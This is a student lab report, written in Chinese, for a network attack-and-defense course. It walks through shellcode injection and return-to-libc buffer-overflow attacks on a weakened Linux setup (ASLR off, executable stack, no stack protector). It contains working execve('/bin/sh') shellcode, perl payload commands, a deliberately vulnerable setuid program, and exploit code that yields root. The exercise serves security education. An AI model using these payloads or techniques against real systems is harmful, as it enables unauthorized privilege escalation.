20145302張薇《網路對抗技術》PC平臺逆向破解
實驗任務
1.簡單shellcode注入實驗
2.Return-to-libc 攻擊實驗
實驗相關原理
Bof攻擊防禦技術
- 從防止注入的角度來看:在編譯時,編譯器在每次函式呼叫前後都加入一定的程式碼,用來設定和檢測堆疊上設定的特定數字,以確認是否有bof攻擊發生。
- 如GCC中的編譯器有堆疊保護技術,參考連結:http://www.ibm.com/developerworks/cn/linux/l-cn-gccstack/index.html
- 從被注入後也不能執行的角度看:結合CPU的頁面管理機制,通過DEP/NX用來將堆疊記憶體區設定為不可執行。這樣即使是注入的shellcode到堆疊上,也執行不了。
- 由於這些限制,所以我們在進行簡單shellcode注入實驗時需要設定環境,從而關閉這些保護。
Linux下記憶體地址隨機化
/proc/sys/kernel/randomize_va_space用於控制Linux下記憶體地址隨機化機制(address space layout randomization),有以下三種情況
0 - 表示關閉程式地址空間隨機化。
1 - 表示將mmap的基址,stack和vdso頁面隨機化。
2 - 表示在1的基礎上增加棧(heap)的隨機化。
簡單shellcode注入實驗步驟
1.準備獲取shellcode的C語言程式碼
- 與此同時我們下載了execstack程式以便接下來可以設定易於攻擊的環境
2.配置環境 - 用
execstack -s pwn5302
命令來將堆疊設為可執行狀態 - 用
execstack -q pwn5302
命令來檢視檔案pwn5302的堆疊是否是可執行狀態 - 用
more /proc/sys/kernel/randomize_va_space
命令來檢視地址隨機化的狀態 - 用
echo "0" > /proc/sys/kernel/randomize_va_space
命令來關閉地址隨機化
3.構造要注入的payload
- 利用anything+retaddr+nops+shellcode的結構來構造,在終端輸入
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
,並執行程式
4.開啟另一個新的終端,先利用ps -ef | grep pwn5302
檢視pwn5302的程式號,隨後在該終端下進入gdb除錯模式
- 由上圖知,pwn5302的程式號為2076
- gdb除錯
- 得到結束的地址:0x080484ae
- 開啟原先的終端,敲一下回車,就會出現一段亂碼
- 再次開啟新的終端,在gdb中設定斷點,並尋找注入的buf的地址
- 01020304的位置就是返回地址的位置,即0xffffd33c
- shellcode的地址緊挨返回地址,加上四個位元組後地址為0xffffd340
5.獲得shellcode的地址後,再次返回先前的終端,先用exit命令退出該步驟,隨後修改input_shellcoded的值為perl -e 'print "A" x 32;print "\x40\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
- 修改後可以利用xxd命令檢視是否修改成功
- 傳送這段資料,即成功獲得許可權
Return-to-libc 攻擊實驗
本實驗在棧不可執行的模式下進行
1.環境配置
- 輸入如下指令,建立32位C語言可編譯的環境
- sudo apt-get update
- sudo apt-get install lib32z1 libc6-dev-i386
- 輸入命令
linux32
進入32位linux操作環境 - 使用
/bin/bash
命令進入bash
2.關閉地址隨機化
sudo sysctl -w kernel.randomize_va_space=0
- 為了不讓/bin/bash的防護程式起作用(為了防止shell攻擊,程式被呼叫時會自動棄權),我們使用zsh來代替:
sudo su
cd /bin
rm sh
ln -s zsh sh
exit
3.在tmp資料夾下建立“retlib.c”檔案,並編譯設定SET-UID
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
char buffer[12];
fread(buffer, sizeof(char), 40, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 1;
}
- 此程式有一個緩衝區溢位漏洞:該程式讀取badfile檔案,將40位元組的資料讀取到只有12位元組大小的buffer,而fread函式不檢查邊界導致溢位。
sudo su
gcc -m32 -g -z noexecstack -fno-stack-protector -o retlib retlib.c
chmod u+s retlib
exit
4.在tmp資料夾下準備“getenvaddr.c”檔案用於讀取環境變數,並編譯
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char const *argv[])
{
char *ptr;
if(argc < 3){
printf("Usage: %s <environment var> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
printf("%s will be at %p\n", argv[1], ptr);
return 0;
}
gcc -m32 -o getenvaddr getenvaddr.c
4.在tmp資料夾下準備“exploit.c”檔案用於攻擊
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen(".//badfile", "w");
strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times
*(long *) &buf[32] =0x11111111; // "//bin//sh"
*(long *) &buf[24] =0x22222222; // system()
*(long *) &buf[36] =0x33333333; // exit()
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}
/*
程式碼中“0x11111111”、“0x22222222”、“0x33333333”分別代表 BIN_SH、system、exit 的地址,需要我們接下來獲取。
*/
5.獲取地址
- 獲取BIN_SH地址
- export BIN_SH=“/bin/sh”
- echo $BIN_SH
- ./gentenaddvr BIN_SH ./retlib
- 進入gdb設定斷點,除錯執行獲取system和exit的地址
- gdb -q ./exploit
- list
- b 9
- run
- 獲取system地址
- p system
- 獲取exit地址
- p exit
- p exit
6.通過上述獲取的地址,修改入exploit.c檔案,並刪除之前生成的exploit和badfile檔案,再次編譯,執行exploit之後再執行retlib檔案即可獲得root許可權,攻擊成功
實驗感想
- 對於簡單的shellcode攻擊實驗來說,地址隨機化是一個難題
- 相對於第一個shellcode注入的實驗來說return to libc實驗在更困難一點的情況下進行,即:使棧不可執行,這時候我們不能只是簡單的傳送資料讓程式溢位,得準備檢視環境和攻擊的程式碼,這需要我們對電腦地址的儲存有更深的瞭解。